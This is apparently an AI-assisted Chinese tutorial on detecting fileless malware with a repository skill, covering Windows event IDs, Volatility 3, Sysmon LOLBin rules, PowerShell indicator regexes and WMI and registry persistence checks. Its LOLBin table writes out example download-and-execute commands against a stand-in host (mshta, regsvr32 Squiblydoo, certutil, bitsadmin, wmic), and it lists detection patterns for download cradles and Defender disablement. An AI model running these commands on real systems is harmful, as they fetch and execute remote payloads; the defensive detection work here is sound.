Anthropic-Cybersecurity-Skills 实战指南:Fileless 恶意软件检测 API 参考与落地实现
【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills
Fileless(无文件)恶意软件完全驻留于内存或寄生在 PowerShell、WMI、.NET 反射、注册表载荷与 LOLBins 等合法系统机制中,几乎不在磁盘上留下传统可执行文件。本文以 Anthropic-Cybersecurity-Skills 仓库中的 detecting-fileless-malware-techniques 技能为骨架,完整讲解其 API 参考文档 中的核心检测参数——关键 Windows 事件 ID、python-evtx 日志解析、Volatility 3 内存取证命令、Sysmon LOLBin 监控规则、可疑 PowerShell 指标与 WMI 持久化检查,并结合仓库内的 agent.py 自动化脚本展示从日志扫描到报告生成的全链路落地方法。读完本文,你将掌握一套可直接复用的无文件恶意软件检测工具箱与取证工作流。
检测无文件威胁的关键 Windows 事件 ID
无文件攻击的每一步(脚本执行、进程注入、WMI 持久化、服务安装)都会在 Windows 事件日志中留下痕迹。API 参考文档给出了一张核心事件 ID 速查表,是构建检测规则的第一手素材:
| Event ID | 日志来源 | 说明 |
|---|---|---|
| 4104 | PowerShell Operational | 脚本块日志(Script Block Logging),记录去混淆后的完整脚本内容 |
| 4103 | PowerShell Operational | 模块日志(Module Logging) |
| 1 | Sysmon | 进程创建,含完整命令行 |
| 8 | Sysmon | CreateRemoteThread(远程线程注入) |
| 10 | Sysmon | ProcessAccess(注入前的进程访问) |
| 19/20/21 | Sysmon | WMI 事件筛选器 / 事件消费者 / 筛选器与消费者的绑定 |
| 7045 | System | 系统安装了新服务 |
其中Event ID 4104是 PowerShell 无文件检测的基石:Script Block Logging 记录的是脚本去混淆后的完整内容,攻击者常用的-encBase64 编码、字符串拼接等混淆手段在 4104 事件中会以可读形式暴露。而 Sysmon 的 19/20/21 三个事件分别对应 WMI 持久化的三要素(Filter → Consumer → Binding),是 Step 2 检测 WMI 持久化 的日志依据。
前置条件提醒(来自 SKILL.md):务必提前启用 PowerShell Script Block Logging 与 Module Logging、部署并配置 Sysmon(覆盖进程创建、WMI 事件、注册表变更)、保留足够时长的 Windows 事件日志,并准备 Volatility 3、Process Monitor(ProcMon)、Autoruns 等工具——否则事后无法回溯无文件攻击轨迹。
用 python-evtx 解析事件日志:从 EVTX 中提取 4104 脚本内容
事件日志的取证解析通常不依赖图形化事件查看器,而是直接读取.evtx文件。API 参考文档给出了最精简的 python-evtx 用法:遍历日志记录、匹配 EventID 并输出 XML 片段。
import Evtx.Evtx as evtx with evtx.Evtx("Security.evtx") as log: for record in log.records(): xml = record.xml() if "<EventID>4104</EventID>" in xml: print(record.timestamp(), xml[:500])仓库中的 agent.py 将这个思路工业化,实现了对Microsoft-Windows-PowerShell%4Operational.evtx的自动扫描:scan_powershell_logs()逐个记录检查<EventID>4104</EventID>,然后对脚本内容执行 14 条可疑模式正则匹配(见下文"PowerShell 可疑指标"),命中即输出事件时间戳、检测类型与 XML 片段,且通过try/except跳过损坏记录以增强健壮性(agent.py)。
运行方式(agent.py):
# 完整报告(含 PowerShell 扫描、LOLBin 扫描、WMI 与注册表持久化检查) python3 agent.py report # 仅扫描 PowerShell 日志(可指定自定义 EVTX 目录) python3 agent.py powershell /path/to/logs # 仅扫描 Sysmon LOLBin 进程创建 python3 agent.py lolbinsVolatility 3 内存取证:捕捉只在内存中的恶意代码
无文件恶意代码唯一的藏身之处就是内存,因此内存取证是决定性的一环。API 参考文档提供的 Volatility 3 命令覆盖了从发现到提取的完整流程:
# 检测注入代码(RWX 内存、非镜像 VAD 中的 PE 头) vol3 -f memory.dmp windows.malfind # 列出进程 vol3 -f memory.dmp windows.pslist # 扫描隐藏进程 vol3 -f memory.dmp windows.psscan # 列出已加载的 DLL vol3 -f memory.dmp windows.dlllist --pid 1234 # 提取注入代码 vol3 -f memory.dmp windows.malfind --dump --pid 1234各命令的取证语义与用途如下:
- windows.malfind:核心命令。它会识别具有 RWX(读-写-执行)权限的内存区域、以及在非镜像 VAD(Virtual Address Descriptor)中出现的 PE 头——这是进程注入与反射加载的标志性特征;
- windows.pslist / windows.psscan:前者基于内核链表列出进程,后者通过池扫描(Pool Scanning)找出被隐藏或终止后残留的进程对象,两者配合可识别 rootkit 隐藏进程;
- windows.dlllist --pid N:核对目标进程(如 powershell.exe)实际加载的模块列表,排查反射加载、未映射到磁盘文件的 .NET 程序集;
- windows.malfind --dump --pid N:将可疑内存区域导出为文件,供后续静态逆向分析。
在 SKILL.md 的 Step 4 中,这一步骤被进一步扩展:使用windows.vadinfo --pid 4012 | grep -i "PAGE_EXECUTE"定位具备执行权限的 VAD,用windows.cmdline | grep -i "powershell"识别 PowerShell CLR 活动,还可以通过 YARA 规则直接扫描内存中的无文件框架特征(如System.Reflection.Assembly、[System.Convert]::FromBase64String、Invoke-Expression、DownloadString)。agent.py 中的run_volatility_malfind()封装了对内存镜像的 malfind 调用,并处理了 vol3 未安装、超时等异常情况。
Sysmon LOLBin 监控:白名单二进制滥用检测
LOLBin(Living Off the Land Binary)指被攻击者滥用的合法系统二进制文件。由于它们本身在应用白名单内,传统文件扫描完全失效,必须通过 Sysmon 进程创建事件(Event ID 1)结合命令行参数进行行为检测。API 参考文档提供的 Sysmon 配置片段覆盖了最常被滥用的六个二进制:
<!-- Sysmon config for LOLBin monitoring --> <RuleGroup groupRelation="or"> <ProcessCreate onmatch="include"> <Image condition="end with">mshta.exe</Image> <Image condition="end with">regsvr32.exe</Image> <Image condition="end with">certutil.exe</Image> <Image condition="end with">wmic.exe</Image> <Image condition="end with">cmstp.exe</Image> <Image condition="end with">msbuild.exe</Image> </ProcessCreate> </RuleGroup>onmatch="include"语义是"命中即采集",因此该规则会完整记录上述进程的每次创建及其完整命令行,为后续规则匹配提供原始数据。SKILL.md 的 Step 1 进一步给出了每个二进制的具体滥用模式与检测要点:
| LOLBin | 典型滥用方式 | 检测要点 |
|---|---|---|
| mshta.exe | 执行内嵌 VBScript/JScript 的 HTA,mshta http://evil.com/payload.hta或mshta vbscript:Execute(...) | 命令行出现 URL 参数或vbscript:前缀 |
| regsvr32.exe | 通过 COM 加载脚本(Squiblydoo),regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll | 命令行含/i:URL 参数 |
| certutil.exe | 下载文件、Base64 解码,certutil -urlcache -split -f http://...或-decode | 命令行含-urlcache或-decode |
| rundll32.exe | 执行 DLL 导出函数或内联 JavaScript | 命令行含javascript:参数 |
| wmic.exe | 通过 XSL 样式表执行代码,wmic process get brief /format:"http://..." | 命令行含/format:URL 参数 |
| bitsadmin.exe | 通过 BITS 服务下载文件,bitsadmin /transfer job http://... C:\Temp\p.exe | 命令行含/transfer或/addfile指向外部 URL |
| cmstp.exe | 通过 INF 文件执行命令,cmstp.exe /ni /s payload.inf | 从非标准路径执行 |
agent.py 内置了一个扩展版 LOLBIN 清单,除上述条目外还涵盖installutil.exe、regasm.exe、wscript.exe、cscript.exe,并为每个二进制标注风险等级(HIGH / MEDIUM / CONTEXT)与已知滥用方式;scan_sysmon_for_lolbins()会遍历Microsoft-Windows-Sysmon%4Operational.evtx中的 Event ID 1 记录并逐个匹配(agent.py)。
PowerShell 可疑指标清单:脚本日志的快速判别基线
PowerShell 是无文件攻击最核心的执行引擎,而 4104 事件中的脚本内容往往是恶意行为的第一现场。API 参考文档提供了一份可直接用作正则基线的指标清单:
-enc / -EncodedCommand → Base64-encoded command IEX / Invoke-Expression → Dynamic code execution Net.WebClient → Download cradle DownloadString() → Remote script fetch Reflection.Assembly → Reflective .NET loading VirtualAlloc → Shellcode allocation FromBase64String → Payload decodingagent.py 在此基础上扩充为 14 条可执行正则,并附带了命中语义注释:
SUSPICIOUS_PS_PATTERNS = [ (r'-enc\s', "Encoded command execution"), (r'IEX\s*\(', "Invoke-Expression (download cradle)"), (r'Invoke-Expression', "Invoke-Expression"), (r'Net\.WebClient', "WebClient download"), (r'DownloadString\(', "Remote script download"), (r'DownloadFile\(', "File download"), (r'FromBase64String', "Base64 decoding"), (r'Reflection\.Assembly', ".NET reflection loading"), (r'\[System\.Convert\]', "Type conversion (possible decode)"), (r'New-Object\s+IO\.MemoryStream', "In-memory stream (reflective load)"), (r'VirtualAlloc', "Memory allocation (shellcode)"), (r'CreateThread', "Thread creation (injection)"), (r'Add-MpPreference.*ExclusionPath', "Defender exclusion modification"), (r'Set-MpPreference.*DisableRealtimeMonitoring', "Defender disablement"), ]值得注意的两类补充模式:IO.MemoryStream暗示在内存中构建字节流进行反射加载;Add/Set-MpPreference则指向防御规避——攻击者先关闭或弱化 Windows Defender 再执行载荷。实际告警日志中,-enc(编码执行)、DownloadString(远程脚本拉取)与Reflection.Assembly(反射加载)三类指标的组合出现,几乎可以确定是一次标准的无文件感染链。
WMI 持久化检查:枚举事件订阅三要素
WMI 事件订阅是无文件攻击最经典的持久化手段:由__EventFilter(触发条件)、__EventConsumer(执行动作)、__FilterToConsumerBinding(绑定关系)三个对象组成,可跨重启存活且不落盘。API 参考文档提供了最直接的枚举方法:
# List WMI event subscriptions Get-WMIObject -Namespace root\Subscription -Class __EventFilter Get-WMIObject -Namespace root\Subscription -Class __EventConsumer Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding在 SKILL.md 的 Step 2 中,枚举被细化到具体消费者类型:
# WMI 命令行枚举(wmic) wmic /namespace:"\\root\subscription" path __EventFilter get Name,Query /format:list wmic /namespace:"\\root\subscription" path CommandLineEventConsumer get Name,CommandLineTemplate /format:list wmic /namespace:"\\root\subscription" path ActiveScriptEventConsumer get Name,ScriptText /format:list wmic /namespace:"\\root\subscription" path __FilterToConsumerBinding get Filter,Consumer /format:list实际排查时优先关注两类消费者:CommandLineEventConsumer(其CommandLineTemplate常直接包含powershell.exe -nop -w hidden -enc ...)和ActiveScriptEventConsumer(其ScriptText内嵌完整恶意脚本)。agent.py 的scan_wmi_persistence()通过调用Get-WMIObject ... -Class __EventFilter | Select-Object Name, Query | ConvertTo-Json自动收集筛选器列表,并将结果结构化输出。
同时,SKILL.md 还给出了一段基于wevtutil+xml.etree的 WMI 事件解析脚本:查询 Sysmon 日志中 Event ID 19/20/21 的 XML 记录,分别提取筛选器名称与查询语句(19)、消费者名称/类型/目标(20)、消费者与筛选器的绑定关系(21),实现 WMI 持久化创建行为的实时告警。
注册表驻留载荷排查
部分无文件恶意软件将编码后的载荷(通常是 Base64 的 PowerShell 脚本或 .NET 程序集)存放在注册表值中,由 Run 键下的短小加载器执行。SKILL.md 的 Step 3 提供了命令行与 Python 两套排查手段:
# 检查常见自启动注册表位置 reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /s reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /s reg query "HKCU\Environment" /s # 在注册表中搜索 PowerShell 编码命令特征 reg query "HKCU\Software" /s /f "powershell" 2>nul reg query "HKCU\Software" /s /f "-enc" 2>nulPython 侧则用winreg递归遍历HKCU\Software与HKLM\Software(深度 3 层),对长度超过 500 字符的字符串值做 Base64 解码探测,并匹配powershell/invoke/iex/-enc关键字(SKILL.md)。agent.py 中的scan_registry_run_keys()则检查 HKLM/HKCU 的 Run 与 RunOnce 键,将其中出现的 LOLBin 名称标记为 HIGH 风险持久化项。
构建检测规则:Sigma 规则与完整攻击链还原
有了事件 ID、日志来源与模式指标,即可沉淀为可复用的检测内容。SKILL.md 的 Step 5 给出了两条 Sigma 规则,第一条将 LOLBin 执行与网络参数关联(mshta匹配http/vbscript:/javascript:,certutil匹配-urlcache/-decode,regsvr32匹配/i:http,wmic匹配/format:http),第二条直接以 Sysmon Event ID 19/20/21 作为 WMI 持久化的检测信号。Sigma 规则可无缝转换到 Splunk、Elastic 等 SIEM 平台,是 API 参考文档中事件 ID 表格的直接消费场景。
检测之外,还原攻击链才能指导处置。SKILL.md 的 Step 6 将无文件攻击划分为六个阶段:
Phase 1 - Initial Access: 钓鱼宏 -> mshta.exe/PowerShell(LOLBin 滥用),或 Web 漏洞 -> regsvr32/certutil 下载 scriptlet Phase 2 - Execution: PowerShell 内存中执行脚本,.NET Assembly.Load() 反射加载,WMI 创建进程横向移动 Phase 3 - Persistence: WMI 事件订阅(跨重启存活)、注册表存储编码载荷(Run 键加载)、计划任务执行内联 PowerShell Phase 4 - Privilege Escalation: 内存中 Invoke-Mimikatz 窃取凭据、WMI 命名管道模拟 Phase 5 - Lateral Movement: WMI 远程创建进程(无需传文件)、PowerShell 远程(WinRM)、PsExec 经 WMI Phase 6 - Exfiltration: PowerShell HTTP POST 至 C2、DNS 隧道、云存储 API 上传配合 SKILL.md 的 Output Format 示例,最终输出应包含初始访问向量、LOLBin 调用链、持久化机制(WMI 筛选器/消费者/命令)、解码载荷分层、注册表载荷位置、内存工件(注入的 .NET 程序集地址与 YARA 检测结果)、提取的 IOC 及对应的 MITRE ATT&CK 技术映射(T1059.001 PowerShell、T1546.003 WMI 事件订阅、T1218.005 Mshta、T1112 修改注册表、T1055.012 进程镂空)。该技能在仓库中的 ATTACK_COVERAGE.md 里与 T1546.003、T1055.012、T1112、T1218.005 四项技术建立映射,同时在mitre_attack元数据中声明覆盖 T1027、T1055、T1140、T1497、T1547,可据此在 attack-navigator-layer.json 中叠加可视化覆盖度。
实战落地:自动化检测脚本的调用与产出
将上述能力串联起来,就是仓库提供的完整检测代理 agent.py。其入口支持五个子命令(agent.py):
# 一键生成完整检测报告(PowerShell 扫描 + LOLBin 扫描 + WMI + 注册表持久化) python3 agent.py report # 单独执行某一维度扫描 python3 agent.py powershell [log_dir] # PowerShell 脚本块日志扫描 python3 agent.py lolbins # Sysmon LOLBin 进程创建扫描 python3 agent.py wmi # WMI 事件订阅筛选器枚举 python3 agent.py registry # Run/RunOnce 注册表持久化检查 python3 agent.py malfind <memory.dmp> # 对内存镜像执行 Volatility malfind实现要点(与本文前述内容一一对应):
- 依赖
python-evtx(可选,缺失时返回错误信息而非崩溃); - 默认日志目录为
C:\Windows\System32\winevt\Logs,PowerShell 日志文件为Microsoft-Windows-PowerShell%4Operational.evtx,Sysmon 日志为Microsoft-Windows-Sysmon%4Operational.evtx; - 每次扫描结果限制返回前 50 条告警,
report模式输出 JSON 格式,可直接对接下游告警平台或分析管线。
常见场景与避坑要点
SKILL.md 的场景示例 给出了一个典型调查流程:Sysmon 告警显示 WMI 事件订阅创建后伴随周期性 PowerShell 执行、且磁盘上无对应恶意文件、攻击跨重启存活。处置步骤为:① 枚举 WMI 命名空间中的事件筛选器/消费者/绑定定位持久化机制 → ② 提取 CommandLineEventConsumer 或 ActiveScriptEventConsumer 中的载荷 → ③ 解码 PowerShell 命令(通常为-encBase64,注意 UTF-16LE 编码)→ ④ 回溯 4104 脚本块日志获取去混淆全文 → ⑤ 内存转储分析反射加载的程序集与注入代码 → ⑥ 检查注册表中被脚本引用的存储载荷 → ⑦ 还原完整攻击链。
实践中容易踩的坑(来自 SKILL.md 的 Pitfalls 部分):
- 事发前未开启 Sysmon WMI 事件日志(19/20/21),事后无法回溯持久化创建行为;
- 取证前重启系统——内存中的无文件证据随重启永久消失,务必先抓内存转储;
- 只盯着文件型 IOC,而攻击全程未落盘;
- 忽略初始访问痕迹——LOLBin 执行留下的日志极为稀疏,需要主动搜索 Event ID 1 的命令行特征。
小结
本文以 api-reference.md 为骨架,完整展开了无文件恶意软件检测所需的事件 ID 速查表、python-evtx 日志解析、Volatility 3 内存取证命令、Sysmon LOLBin 监控配置、PowerShell 可疑指标与 WMI 持久化检查六类核心 API/参数,并以 SKILL.md 的六步工作流与 agent.py 的自动化实现作为落地佐证。这套方法适用于"EDR 告警显示可信系统二进制出现可疑行为""攻击不留传统文件""WMI 订阅/注册表载荷/计划任务被用于持久化""内存取证发现恶意代码但文件系统无对应文件"等典型场景;对于传统基于文件的恶意软件,静态与动态分析仍是更合适的路径(详见 SKILL.md 的适用范围说明)。
【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考